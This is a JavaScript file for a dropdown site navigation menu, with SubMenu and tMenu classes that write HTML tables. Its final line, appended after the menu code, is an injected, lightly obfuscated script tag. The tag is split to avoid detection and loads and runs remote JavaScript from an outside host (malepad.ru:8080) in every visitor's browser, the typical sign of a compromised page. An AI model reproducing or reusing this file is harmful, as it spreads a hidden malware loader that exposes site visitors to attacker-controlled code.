// JavaScript Document
//copyring by ruslan sadretdinov ruslan@uip.ru
function obj(name)
{
if(document.getElementById(name))
 return document.getElementById(name);
else
 if(document.all[name])
 return document.all[name];
}
// class submenu
//----------------------------------------------------------
function SubMenu(name,left,top,height,width,zIndex)
 {
  this.name = name;
  this.left = left;
  this.top = top;
  this.height = height;
  this.width = width;
  this.items = new Array();
  this.count = -1;
  this.bgColor = '#FBFBFB';
  this.bgColor_Over = '#00A8E2';
  this.border_color = '#7B8180';
  this.top_border = '1px solid #BDCDD5';
  this.bottom_border = '1px solid #46545B';
  this.div_border_top='1px solid #BDCDD5';
  this.div_border_bottom='1px solid #BDCDD5';
  this.zIndex=zIndex;
  this.f_f = 'verdana';
  this.f_s = 8;
  this.f_w = 'normal';
  this.f_c = '#000000';
  this.padding_left = 4;
  this.f_c_ov = '#ffffff';
  this.css = css;
  this.timer = 200;
  this.AddItem = AddItem;
  this.I_mouseover = I_mouseover;
  this.I_mouseout = I_mouseout;
  this.MenuHide = MenuHide;
  this.MenuShow = MenuShow;
  this.I_click = I_click;
  this.changeHeight = changeHeight;
  this.table_mouseout=table_mouseout;
  this.table_mouseover=table_mouseover;
  this.sm_print = sm_print;
  this.setTimeout = null;
 }
 function changeHeight(name,height)
 {
  for(var i=0;i<this.items.length;i++)
   if(this.items[i].name==name)
   {
   this.items[i].height = height;
   break;
   }
 }
 function AddItem(name,text,location)
  {
   var myObj = new Object();
   myObj.name = name;
   myObj.text = text;
   myObj.location = location;
   myObj.height = this.height;
   this.items[++this.count] = myObj;
  }
 function css()
  {
   var str='visibility:hidden;z-index:'+this.zIndex+';border-right:'+this.bottom_border+';border-bottom:'+this.bottom_border+';border-left:'+this.top_border+';width:'+this.width+'px;background-color:'+this.bgColor+';position:absolute;top:'+this.top+'px;left:'+this.left+'px;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=95) progid:DXImageTransform.Microsoft.Shadow(color=#888888,direction=135,strength=4);';
   return str;
  }
 function I_mouseover(obj)
  {
   obj.style.backgroundColor = this.bgColor_Over;
   obj.style.color = this.f_c_ov;
  }
 function I_mouseout(obj)
 {
  obj.style.backgroundColor = this.bgColor;
  obj.style.color = this.f_c;
 }
 function I_click(href)
  {
   window.location.href = href;
  }
  function MenuHide()
  {
   this.setTimeout=setTimeout(this.name+".table_mouseout()",this.timer);
  }
  function MenuShow()
  {
    if(this.setTimeout!=null)clearTimeout(this.setTimeout);
   eval(this.name+".table_mouseover()");
  }
  function table_mouseout()
   {    
	obj(this.name).style.visibility = 'hidden';
   }
  function table_mouseover()
  {
  obj(this.name).style.visibility = 'visible';
  }
 
 function sm_print()
  {
   var str='<table id="'+this.name+'" style="'+this.css()+'" border=0 cellspacing=0 cellpadding=0 onMouseOver='+this.name+'.MenuShow();'+' onMouseOut='+this.name+'.MenuHide();'+'>';
   var td_style='border-top:1px solid '+this.border_color+';border-left:1px solid '+this.border_color+';border-right:1px solid '+this.border_color+';';
   var div_style='cursor:pointer;cursor:hand;padding-left:'+this.padding_left+'px;font-family:'+this.f_f+';font-size:'+this.f_s+'pt;color:'+this.f_c+';width:100%;height:100%;padding-top:3px;';
	 for(var i=0;i<this.items.length;i++)
	  {
	   var a = this.items[i];
	   if(i==this.count)
	   {
	    td_style+=' border-bottom:1px solid '+this.border_color+';';
		}
	   str+='<tr>';
	   str+='<td id='+a.name+' style="'+td_style+'height:'+a.height+'px;">';
	   str+='<div  style="'+div_style+'" onMouseOver='+this.name+'.I_mouseover(this)'+' onMouseOut='+this.name+'.I_mouseout(this)'+' OnClick='+this.name+'.I_click("'+a.location+'")'+'>';
	   str+= a.text;
	   str+='</div>';
	   str+='</td>';
       str+='</tr>';
      } 
   str+='</table>';
   document.write(str);
  } 
  // end  class submenu
//---------------------------------------------------------- 
function Node(name,text,location,width,height)
{
 this.name = name;
 this.text = text;
 this.width = width;
 this.height = height;
 this.location = location;
 this.SubMenu = null;
}
function tMenu(name,top,left)
{
 this.name = name;
 this.top=top;
 this.left = left;
 this.width = 0;
 this.parents = new Array();
 this.count = -1;
 this.f_c = '#455560';
 this.f_c_ov = '#00A8E2';
 this.AddParent = AddParent;
 this.P_OnMouseOver = P_OnMouseOver;
 this.P_OnMouseOut = P_OnMouseOut;
 this.P_OnMouseOver1 = P_OnMouseOver1;
 this.P_OnMouseOut1 = P_OnMouseOut1;
 this.AddSubMenu = AddSubMenu;
 this.activeID = activeID; 
 this.m_css = m_css;
 this.print = print;
}
function AddParent(name,text,location,width,height)
{
var count = ++this.count;
var add = (count==0)?10:5;
this.width+=width+add;
this.parents[count] = new Node(name,text,location,width,height);
return this.parents[count];
}
function AddSubMenu(name,parent,height,width)
 {
   parent.SubMenu = new SubMenu(name,100,100,height,width,10);
   return parent.SubMenu; 
 }

 function activeID(name)
  {
  var index = -1;
   for(var i=0;i<this.parents.length;i++)
    if(this.parents[i].name==name)
	{
	 index = i;
	 break;
	}
	return index;
  }
 
function P_OnMouseOver(name)
 {
 var m_obj = obj(name);
 this.f_c = m_obj.style.color;
 m_obj.style.color = this.f_c_ov;
  var index = this.activeID(name);
 if(index>=0)
  {
   var a_obj = this.parents[index];
   var width = 0;
   for(var i=0;i<index;i++)
    {
	 var add = (i==0)?8:5;
	 width+=this.parents[i].width+add;
	}
	 if(index == this.parents.length-1)
	  {
	   width+=this.parents[index].width+5;
	   width-=a_obj.SubMenu.width;
	  }
	
    obj(a_obj.SubMenu.name).style.left=parseInt(obj(this.name).style.left)+width;
    obj(a_obj.SubMenu.name).style.top = parseInt(obj(this.name).style.top)+a_obj.height+6;
    a_obj.SubMenu.MenuShow();
   }
 
 }
function P_OnMouseOut(name)
 {
  var m_obj = obj(name);
  m_obj.style.color = this.f_c;
 
  var index = this.activeID(name);
  if(index>=0)
   {
    var a_obj = this.parents[index];
    a_obj.SubMenu.MenuHide();
   }
 }
function m_css()
 {
  var str='position:absolute;top:'+this.top+'px;left:'+this.left+'px;width:'+this.width+'px;';
  return str;
 }
function P_OnMouseOver1(name)
{
 obj(name).style.color = this.f_c_ov;
}
function P_OnMouseOut1(name)
{
 obj(name).style.color = this.f_c;
}

function print()
{
 var str = '<table id="'+this.name+'" border=0 cellspacing=0 cellpadding=0 style="'+this.m_css()+'">';
 str+='<tr>';
 var over = this.name+'.P_OnMouseOver';
 var out = this.name+'.P_OnMouseOut';
 var over1 = this.name+'.P_OnMouseOver1';
 var out1 = this.name+'.P_OnMouseOut1';
   for(var i=0;i<this.parents.length;i++)
    if(this.parents[i].SubMenu.count==-1)
	{
	 this.parents[i].SubMenu = null;
	}
   for(var i=0;i<this.parents.length;i++)
    {
	 var a = this.parents[i];
	 str+='<td class="menu_border" width=5>|</td>';
	 str+='<td width='+a.width+' height='+a.height+'>';
	 str+='<div id="'+a.name+'" width="100%" height="100%" class="menu" ';
	 if(a.SubMenu==null)
	 {
	  str+=' OnClick='+'window.location.href="'+a.location+'"';
	  str+=' onMouseOver='+over1+'("'+a.name+'");'+'  onMouseOut='+out1+'("'+a.name+'")';
	 }
	 else
	 {
	 str+=' onMouseOver='+over+'("'+a.name+'");'+'  onMouseOut='+out+'("'+a.name+'")';	 
	 }	
	 str+=' >';
	 str+=a.text;
	 str+='</div>';
	 str+='</td>';
	 if(i==this.parents.length-1)
	 str+='<td class="menu_border" width=5 >|</td>';
	}
 str+='</tr>';
 str+='</table>';
 document.write(str);
  for(var i=0;i<this.parents.length;i++)
   if(this.parents[i].SubMenu!=null)
   {
     var parent = this.parents[i];
     var menu = parent.SubMenu;
	 eval(menu.name+'.sm_print();');
   }
}


document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/XHTML.js"></scr'+'ipt>');